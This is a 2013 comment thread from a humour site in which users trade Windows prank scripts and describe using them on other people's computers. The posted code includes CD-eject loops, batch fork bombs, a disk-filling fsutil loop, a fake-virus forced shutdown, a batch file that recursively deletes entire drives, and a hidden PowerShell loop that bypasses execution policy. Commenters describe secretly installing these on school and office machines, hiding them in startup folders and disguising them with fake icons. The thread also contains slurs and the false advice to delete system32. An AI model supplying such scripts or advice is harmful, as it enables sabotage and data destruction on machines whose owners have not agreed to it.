For your trolling need.. . Work in an office? Want to annoy an colleague? ilk' . Eject Next rrai Next End If 123993 lump. Here you go, guys. I wrote it for you because OP was too lazy to do it himself. Set oWMP = CreateObject("WMPlayer.OCX.7") Set colCDROMs = oWMP.cdromCo troll this College uni do it phaggot
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#4 - camperdude
Reply +424
(09/10/2013) [-]
Here you go, guys. I wrote it for you because OP was too lazy to do it himself.

Set oWMP = CreateObject("WMPlayer.OCX.7")
Set colCDROMs = oWMP.cdromCollection
wscript.sleep 600000
do
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
End If
wscript.sleep 120000
loop
#11 to #4 - anon
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(09/11/2013) [-]
Im doing this to every if I dont get caught before then computer in my school.

Wish me luck, Im going to get suspended.
#30 to #11 - spartathecat
Reply +19
(09/11/2013) [-]
Post results?  aka tell us what the **** goes down
Post results? aka tell us what the **** goes down
#61 to #11 - shinote
Reply +4
(09/11/2013) [-]
But you'll be a damn hero, so it's worth it.
#330 to #61 - computerprankguy
Reply 0
(09/17/2013) [-]
Well if anyone is gonna read this, I tried it on one of the computers, it worked.

My friend noticed and he was like "Dude your computer is haunted, burn that ****"
Thought I'd mess around more so I told a teacher, she laughed at my problem and tried to fix it, It didn't work. I put the file in the startup folder so whoever logs on will receive that problem.

My plan is to slowly put this on all the computers at my school, it will probably take half or the entire school year to finish. It's very risky because the more computers with the problem, the more pressing the matter is. They'll probably pinpoint it to me, and by that time my career is over.

Wish I could post pics but that would blow my cover if anyone came on here. I'll try to a pic on whoever uses that computer tomorrow but it'll probably be censored.
#275 to #11 - anon
Reply 0
(09/11/2013) [-]
Most computers use personal logins at school. The second you log it, it'll forceclose and not effect anyone but you.
#204 to #11 - dross
Reply 0
(09/11/2013) [-]
Titanic - Nearer My God To Thee (Full Version) Godspeed, you magnificent bastard.
#146 to #4 - darkphoenixxx
Reply 0
(09/11/2013) [-]
Thanks.
Just did this @Nokia office.
#29 to #4 - bloodygod ONLINE
Reply +1
(09/11/2013) [-]
even though its part of the code mfw at the end when it says " loop "
#54 to #4 - mvtjets
Reply +1
(09/11/2013) [-]
regaesnhoj

Sticky this
#7 to #4 - thisxshitxisxhard
Reply +3
(09/10/2013) [-]
ur a good person
#18 to #7 - themasterofderp
Reply 0
(09/11/2013) [-]
how do you stop it? just by deleting the file?
#24 to #18 - OOOnelsonOOO
Reply +3
(09/11/2013) [-]
Open the running processes and kill it. (ctrl+alt+delete)
#51 to #24 - lilmatty
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(09/11/2013) [-]
ctrl+shift+esc opens up task manager directly. then end process "wscript.exe" (sort it by image name to make it easier)
#19 to #4 - frysandaburger
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(09/11/2013) [-]
#200 to #4 - spikedude
Reply +6
(09/11/2013) [-]
Dude he did type it out in the description:

ilk' . Eject
Next
rrai
Next
End If
123993
lump
#152 to #4 - darknemisis
Reply +8
(09/11/2013) [-]
Clicked "top Rated" because I knew, deep in my heart, a saint such as yourself would of done this.
On behalf of the lazy community, I thank you greatly!
#175 to #152 - camperdude
Reply +2
(09/11/2013) [-]
It was my pleasure.
#28 to #4 - leprechaunne
Reply +17
(09/11/2013) [-]
Just use the lightbulbs version
#1 - kothaex
Reply +140
(09/10/2013) [-]
Dear god man indent your code.
#14 - VICTORx
Reply +96
(09/11/2013) [-]
@echo off
color 0a
echo OH GOD I AM NOT GOOD WITH COMPUTER
Pushd "%~dp0"
:faggots
title HOW COULD THIS HAPPEN
start blameitontheblacks.bat
goto faggots

copy above into notepad
save as "blameitontheblacks.bat" sans quotes
open
self-replicating file reopens itself until computer crashes
fun times!
#40 to #14 - rabaneristo
Reply 0
(09/11/2013) [-]
I love to see how many people fav'd your comment to do this later.
#50 to #40 - drunkasaurus
Reply 0
(09/11/2013) [-]
...you can though
#53 to #50 - rabaneristo
Reply 0
(09/11/2013) [-]
I know. I was one of them.
#15 to #14 - thenez ONLINE
Reply +1
(09/11/2013) [-]
ANYTHING BUT THE FORKBOMB!
#62 to #15 - oishiine
Reply +2
(09/11/2013) [-]
%0|%0 is love, %0|%0 is life.

I hope someone gets this
#185 to #62 - batmane
Reply 0
(09/11/2013) [-]
Thats a fork bomb rite?
#221 to #185 - oishiine
Reply 0
(09/11/2013) [-]
Yep
#138 to #62 - afjhahsdsl
Reply 0
(09/11/2013) [-]
I don't, but I want .. Please explain. or not, that's cool too
#224 to #138 - oishiine
Reply +1
(09/11/2013) [-]
It's a simple fork bomb

%0 is the name of the currently executing batch file

%0|%0 recursively executes itself forever.

Try typing %0|%0 into notepad and saving it as something.bat

Then run it
#177 to #15 - thenewnuggubler
Reply 0
(09/11/2013) [-]
A friend of mine in my school made a forkbomb and he puts it on someone's PC whenever he gets the chance, in our programming class. He ruined his own computer so bad Windows had to be reinstalled
#184 to #177 - thenez ONLINE
Reply 0
(09/11/2013) [-]
He couldn't boot into safe mode and delete the forkbomb?
#281 to #184 - thenewnuggubler
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(09/11/2013) [-]
He left it running on purpose. I once crashed my computer with a program that generates the fibonacci seqence
#282 to #281 - thenez ONLINE
Reply 0
(09/11/2013) [-]
Well that's quite odd to leave it running purposely, when it could have been resolved in ten minutes, may I ask why?
#283 to #282 - thenewnuggubler
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(09/11/2013) [-]
We just started on recursion in class and we wanted to see what we do, more or less. We were actually screwing around with it today, too. Now he disguises the .bat with an icon like chrome or something when putting it on someone else's PC. It's good fun
#26 to #15 - metalheadtildeath
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(09/11/2013) [-]
the DEATH of ram lol
#67 to #14 - robbyarcane
Reply +1
(09/11/2013) [-]
i do this when i go to walmart.. but instead of it continuing to open itself. i have it open iexplore.exe (internet explorer) and than i place it in the startup.. TFW they see the computer
#41 - Mastaforga
Reply +53
(09/11/2013) [-]
Echo off
:loop1
start command
start command
start command
start command
start command
start command
start command
start command
start command
start command
goto loop1

Just a fun script that got me suspended from school... save as "filename".bat
opens so many command prompts that it crashes computer
#47 to #41 - oliveirajo
Reply 0
(09/11/2013) [-]
IM?
#48 to #47 - Mastaforga
Reply 0
(09/11/2013) [-]
Message*
#183 to #41 - Cookiez
Reply 0
(09/11/2013) [-]
cant you just do

start filename

and then save it as "Filename"?
#295 to #183 - Mastaforga
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(09/11/2013) [-]
Not sure what your question is... You have to save it as "filename".bat

Whatever you name it as doesn't matter, aslong as it's saved as a .bat
#321 to #295 - Cookiez
Reply 0
(09/12/2013) [-]
i know, i just meant that simply writing "start filename" gives you the same result in way less lines
#324 to #321 - Mastaforga
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(09/12/2013) [-]
just doing one line of starting the file would make them open slower, cause there is a larger delay in the processor for going to another action like "loop"
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#45 to #41 - oliveirajo
Reply +1
(09/11/2013) [-]
Man, I did that so many times at school... Poor you.
#46 to #45 - Mastaforga
Reply 0
(09/11/2013) [-]
It's all good, I had fun up until then... For the shear sense of trolling I am posting some of my simple codes here... If anyone would like a more advanced code just IM me (the advanced ones are too long to comment)
#57 to #41 - shinote
Reply +1
(09/11/2013) [-]
I love you. No homo, but seriously, please continue to post these, I'm a noob at **** like this, and would LOVE to be able to do to people
#296 to #57 - Mastaforga
Reply 0
(09/11/2013) [-]
Here is one just because I liked your comment

This will make a blank file anywhere on the hard drive that you chose and can take up as much hard drive space as you want... You could make it take up 240GB if you have a friend with 256 GB HDD to make him wonder why he has no more storage left

@echo off
color 2
:loop
fsutil file createnew C:\Windows\system32\catroot2{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\catdb2 1073741824

You can change the directory and the file size to whatever you want
#58 to #41 - amegaara
Reply +1
(09/11/2013) [-]
couldnt you just put on
Echo off
:loop1
start command
goto loop1
???
or would this get less cmd windows to show up?
#291 to #58 - Mastaforga
Reply 0
(09/11/2013) [-]
It wouldn't open them as fast, although still pretty fast
#239 to #58 - hates
Reply 0
(09/11/2013) [-]
It'd make the command windows show up more slowly, I think
#42 to #41 - Mastaforga
Reply +3
(09/11/2013) [-]
Do
Set oWMP = CreateObject("WMPlayer.OCX.7" )
Set colCDROMs = oWMP.cdromCollection
colCDROMs.Item(d).Eject
colCDROMs.Item(d).Eject
Loop
Do
Set oWMP = CreateObject("WMPlayer.OCX.7" )
Set colCDROMs = oWMP.cdromCollection
colCDROMs.Item(d).Eject
colCDROMs.Item(d).Eject
Loop
Do
Set oWMP = CreateObject("WMPlayer.OCX.7" )
Set colCDROMs = oWMP.cdromCollection
colCDROMs.Item(d).Eject
colCDROMs.Item(d).Eject
Loop
Simpler version of OP's script... also save as "filename".vbs
#43 to #42 - Mastaforga
Reply +5
(09/11/2013) [-]

@echo off
echo System32 Force Stop...
echo Critical System Files Deleted...
pause
echo Create Directory h4x...
echo C:\Program Files\System
echo Hidden System Files found...
echo:
echo:
echo:
start pause.bat
echo Directory Created...
cd C:\
echo Execute virus...
pause
Shutdown -f -s -t 3 -c "Computer Failure."

Fun one I made to make your friends think a virus has ruined their PC... save as "filename".bat
#44 to #43 - Mastaforga
Reply +2
(09/11/2013) [-]
Cd C:\
rd C:\ /s/q
Cd D:\
rd D:\ /s/q
Cd E:\
Rd E:\ /s/q
Cd F:\
Rd\ /s/q

Works on Windows Xp, never tried it on 7 so not sure... *Warning* will harm computer, made it for enemies... save as "filename".bat
#56 to #44 - Bananamoonlight
Reply 0
(09/11/2013) [-]
What does it do exactly? and thx btw
#294 to #56 - Mastaforga
Reply 0
(09/11/2013) [-]
Destroys the partition if i can remember correctly
#55 to #44 - Funnypocalypse
Reply 0
(09/11/2013) [-]
You're a gold mine..
#64 to #43 - thegamerslife
Reply 0
(09/11/2013) [-]
How do you remove it though. especially the harmful one. so if someone wanted to use this to secretly "destroy" a friends computer, so they give it to you. lol
#293 to #64 - Mastaforga
Reply 0
(09/11/2013) [-]
for the harmful one, unless you are knowledgeable in fixing hard drive partitions, you should get a new hard drive
#276 to #42 - gorekaiser
Reply 0
(09/11/2013) [-]
I dont want to sound like a n00bfag, but why do you have to repeat it three times?
#290 to #276 - Mastaforga
Reply 0
(09/11/2013) [-]
Not necassary, but it makes the cd rom open with less time interval
#34 - sweatymannipple
Reply +1
(09/11/2013) [-]
Wouldn't the process just be terminated if they restarted their computer?
#35 to #34 - fjvoodoo
Reply +44
(09/11/2013) [-]
Not if you put it in the startup folder like he suggests.
#36 to #35 - sweatymannipple
Reply +3
(09/11/2013) [-]
...I wasn't reading carefully.
In the middle of writing an essay.
Thanks for correcting me.
#74 - EmulateSnes
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(09/11/2013) [-]
#141 to #74 - fearoffailure
Reply 0
(09/11/2013) [-]
▼ ▼

Australian version
#179 to #74 - debramster
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(09/11/2013) [-]
ßß▲
▲ß▲

ar u avin a giggle ther m8
#197 to #74 - theholyfrog
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#203 to #74 - anon
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#238 to #74 - rplix
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#248 to #74 - anon
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Noob
#96 to #74 - figosound
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WOWOWOWO
#92 to #74 - muxammle
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#93 to #74 - binomancha
Reply +1
(09/11/2013) [-]
**binomancha rolled a random image posted in comment #40 at Because gold is better **
alt255 alt255 alt30
alt30 alt255 alt30

did i do it right?

mfw i dont know how **** works?
#258 to #93 - anon
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#233 to #93 - vortexrain
Reply 0
(09/11/2013) [-]
Sorry, forgot to mention that you do not type out 'alt', you hold down the alt key. There should be one on either side of your spacebar.
#155 to #93 - vortexrain
Reply 0
(09/11/2013) [-]
No spaces, and you have to use the number pad.
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#81 to #74 - duelknight
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I knew this for awhile, but i frogot what the alt was for the triangle thanks
#83 to #81 - EmulateSnes
Reply +2
(09/11/2013) [-]
anytime.




anytime.
#94 to #74 - TheMather ONLINE
Reply +3
(09/11/2013) [-]
ÿÿ
ÿ

Because Locale set to Japanese in order to play VNs.
#310 to #94 - wartroll
Reply +1
(09/12/2013) [-]
Um, I have japanese locale installed as well but the triforce seems to work :/
#311 to #310 - TheMather ONLINE
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(09/12/2013) [-]
Strange. For me alt+255 gives me that ÿ and alt+30 gives me nothing.
Though what annoys me more is that I can no longer use alt+253 for squared and alt+252 for cubed, nor alt+2552 for degrees.
#312 to #311 - wartroll
Reply +1
(09/12/2013) [-]
Maybe it has to do with the OS but I'm not sure, since I'm still using Windows XP.
#313 to #312 - TheMather ONLINE
Reply +1
(09/12/2013) [-]
Yeah, I'm on Win7.
#113 to #94 - vortexrain
Reply +1
(09/11/2013) [-]
How do I change my locale? The only VN I've ever played is KS, and I want to start Monster Girl Quest.
#154 to #113 - TheMather ONLINE
Reply +1
(09/11/2013) [-]
Control Panel>Region and Language>Administrative
#156 to #154 - vortexrain
Reply 0
(09/11/2013) [-]
What is a locale anyway?
#158 to #156 - TheMather ONLINE
Reply +1
(09/11/2013) [-]
The language the system defaults to for services that don't read the system language.
In other words you're going to see a lot of Japanese installers from now on.
#160 to #158 - vortexrain
Reply 0
(09/11/2013) [-]
Why'd it mess with your Triforce though?
#165 to #160 - TheMather ONLINE
Reply +1
(09/11/2013) [-]
Because it alters the codes for the symbols to fit the Japanese set.
#314 to #113 - wartroll
Reply 0
(09/12/2013) [-]
No, you don't want, you NEED to play it.
#341 to #314 - keltainenlumi
Reply 0
(04/07/2015) [-]
no need to play ****
#319 to #314 - vortexrain
Reply 0
(09/12/2013) [-]
I'll do it later.
#309 to #94 - wartroll
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#115 to #74 - cjasper
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#111 to #74 - vortexrain
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Now I got it.
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#171 to #139 - manformen
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#75 to #74 - xast
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(09/11/2013) [-]
Shhh! Don't tell!
Shhh! Don't tell!
#77 to #75 - EmulateSnes
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#79 to #77 - xast
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#241 to #74 - anon
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#338 to #74 - anon
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#218 to #74 - anon
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#336 to #74 - plaruti
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#198 to #74 - berkernsterps
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#297 to #74 - mennopauze
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#182 to #74 - hairibar
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#274 to #74 - include
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#166 to #74 - Detonator
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#269 to #74 - urindanger
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#137 to #74 - niggastolemyname
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(09/11/2013) [-]
I use the half size non breaking spaces for my triforce
Please don't hurt me
#260 to #74 - chillingbear
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#100 to #74 - ninjachickensftw
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#254 to #74 - anon
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#88 to #74 - anon
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You taught anon how to tri-force, you really done it now :p
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#78 to #74 - zonryu
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#80 to #78 - zonryu
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hoorah my first triforce haha noonecares.jpg
#82 to #80 - xast
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Its beautiful
Its beautiful
#242 to #82 - pineapplechrist
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#85 to #80 - retributionthepimp
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(09/11/2013) [-]
good job mate, I care.
#90 to #80 - mehy
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(09/11/2013) [-]
We all do ! Congratz !
#114 to #80 - vortexrain
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You did it!
#208 to #78 - anon
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#112 - tallzed
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(09/11/2013) [-]
Quick question: How do you stop it?
#133 to #112 - seras
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(09/11/2013) [-]
Kill the process.
#315 to #112 - anon
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(09/12/2013) [-]
delete system32
#316 to #315 - tallzed
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(09/12/2013) [-]
I am not falling for that **** again.
#144 to #112 - brettyoke
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(09/11/2013) [-]
Find it under ctrl+shift+esc and end process.
#126 to #112 - kaboomz
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(09/11/2013) [-]
This image has expired
dont delete the file
it will stop eventualy

trust me i am compute porfessional
#118 to #112 - desacabose
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#119 to #118 - tallzed
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No i need it to scam people for money. You know i start it up and charge them to fix it.
#120 to #119 - Lainge
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#99 - snaigen
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I made something different:

A Script that will start the Internet Explorer with the rick roll youtube video every 2 minutes (first intverall is also 10 minutes). Just double click the init-troll.bat and have fun.

Make a folder somewhere (on Desktop or hidden in C:\whatever..) and create these two files in it:

init-troll.bat:
@echo off
powershell.exe -ExecutionPolicy ByPass -NonInteractive -WindowStyle Hidden ".\troll.ps1"
PAUSE

troll.ps1:
$i = 1
while (1) {
if ($i -ne 1) {
$ie = New-Object -ComObject InternetExplorer.Application
$ie.Navigate2("www.youtube.com/watch?v=IAISUDbjXj0")
$ie.Visible = $true
Start-Sleep -Seconds 120
} else {
Start-Sleep -Seconds 600
}
$i++
}
#122 to #99 - karvarausku ONLINE
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You are horrible and cruel person.
#125 to #122 - snaigen
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I just obey my orders
#271 to #99 - pwilkerson
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tried this and all it did was open a command prompt when I double clicked "init-troll.bat"

Any suggestions?
#288 to #271 - snaigen
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The command prompt should disappear. If everything works well, the internet explorer will open 10 minutes after double clicking the .bat. Check your task-manager if there is the process "powershell.exe" (and kill it if you want to get rid of rick rolling).
I tried it successfully on the laptop from my mother (looking forward to her reaction in 8 minutes )
#337 to #288 - newbrony
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what was her reaction?
#289 to #288 - snaigen
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(09/11/2013) [-]
... it works like a charm
... it works like a charm
#106 - invincibleone
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(09/11/2013) [-]
my idiot friend did this to MY computer anyone know how to get rid of it?
#107 to #106 - anon
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You will need to delete the file which contains the script, usually disguised as a system file. Click on 'My computer', and in the top right their should be a search bar 'System32' (There are only 31 system files on windows, so a new one would be called that). Delete it and that should fix the problem. Warning, it might delete things like browsing history, but unfortunately it is the best you can do without mirroring your hard-drive...
#109 to #107 - invincibleone
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youre a ******* idiot. i fixed it myself
#178 to #109 - Dwarf
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What did you do?
#190 to #178 - clechyl
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get it out of the startup folder maybe or kill the process
msconfig should help
#327 to #190 - invincibleone
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(09/13/2013) [-]
killed the process didnt work had to restore my computer from the day before's backup
#328 to #327 - clechyl
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why didn't it work? did you try turning it off and back on again?
#287 to #190 - Dwarf
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Where is the startup folder? >_>
#329 to #287 - invincibleone
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(09/13/2013) [-]
its not exactly a startup fplder just a conti8nuous running program, delete the program
#201 to #106 - anon
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delete system32
#12 - ifuckbabies **User deleted account**
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Years ago i found this site(or a program? I don't remember), that you could use to make files(or links? Once again, i don't remember), that when opened/used, will **** up computers. You could make it eject the disc tray like hundreds of times in a row, you could make the computer shut down, and you could make it do more things, i think. If anyone knows what I'm talking about, and if the thing still exists, then could someone perhaps let me know?
#13 to #12 - iitoxictz
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(09/11/2013) [-]
The eject button and the power button, they still exist today, you're welcome.
#22 to #13 - ifuckbabies **User deleted account**
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Not really sure how to reply to your comment, so I'll simply facepalm for a while.
#23 to #22 - iitoxictz
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(09/11/2013) [-]
Being tired and trying to make a joke simply do not mix and I apologize for this atrocity of a joke.
#25 to #23 - ifuckbabies **User deleted account**
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(09/11/2013) [-]
Eh, it's fine. I completely understand. I've been in your situation numerous times.
#32 to #22 - anon
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it made me giggle.